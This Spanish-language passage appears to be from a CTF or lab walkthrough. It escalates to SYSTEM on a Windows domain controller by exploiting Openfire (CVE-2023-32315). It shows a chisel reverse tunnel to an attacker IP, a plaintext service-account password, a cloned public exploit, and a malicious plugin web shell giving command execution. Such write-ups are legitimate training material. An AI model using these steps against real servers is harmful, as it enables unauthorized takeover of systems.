2024/03/09 20:56:28 server: session#1: tun: proxy#R:9091=>9091: Listening

#En la máquina victima...
PS C:\users\svc_openfire\Downloads> ./chisel.exe client 10.10.16.84:8050 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
**** Online ****
CertUtil: -URLCache command completed successfully.

#En nuesta máquina atacante, escribiremos:
http://127.0.0.1:9090/login.jsp

#Luego en la consola, iniciaremo sesión con las credenciales:
user → svc_openfire
passwd --> !@#$%^&*(1qazxsw

#Después de esto, simplemente miré la vulnerabilidad CVE-2023–32315 y obtuve información sobre cómo funciona. La parte principal del exploit ha sido parcheada en la versión 4.7.5, sin embargo, la parte secundaria no, y como ya tengo acceso, no necesito la primera parte.

#Tenemos este script que nos dará RCE

git clone https://github.com/miko550/CVE-2023-32315.git

#Para obtener RCE necesitamos cargar este archivo .jar como complemento.
"Complementos" en la parte superior → Explorar y cargar complementos → Deberías ver una contraseña en la descripción "pasar 123".

#Vamos a /plugins: http://127.0.0.1:9090/plugin-admin.jsp
#Cuando subimos el fichero .jar el servidor nos dice:

Description	Author	Restart	Delete
Management Tool	pass 123	0.0.0	author

#Vamos a: http://127.0.0.1:9090/plugins/openfire-management-tool-plugin/cmd.jsp
#Ponemos las passs → 123

```
 openfire management tool

Server Information
server name	127.0.0.1
server port	9090
operating system	Windows Server 2019 10.0 null
Current username	DC01$
Current user directory	null
Current user working directory	C:\Program Files\Openfire\bin
Program relative path	/plugins/openfire-management-tool-plugin/cmd.jsp
Absolute program path	C:\Program Files\Openfire\plugins\admin\webapp\plugins
Network protocol	HTTP/1.1
Server software version information	jetty/9.4.43.v20210629
JDK version	null
JDK installation path	null
JAVA virtual machine version	null
JAVA virtual machine name	Java HotSpot(TM) 64-Bit Server VM
JAVA class path	null
JAVA load library search path	c:\program files\java\jre-1.8\bin;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:
\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:
\Windows\System32\OpenSSH\;C:\ProgramData\chocolatey\bin;C:
\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
JAVA temporary directory	C:\Windows\TEMP\
JIT compiler name
extended directory path	c:\program files\java\jre-1.8\lib\ext;C:\Windows\Sun\Java\lib\ext
Client Information
client address	127.0.0.1
service machine name	127.0.0.1
Username
Request method	http
Apply Secure Sockets Layer	No
```

#Cambiamos a system comand
whoami
nt¬†authority\system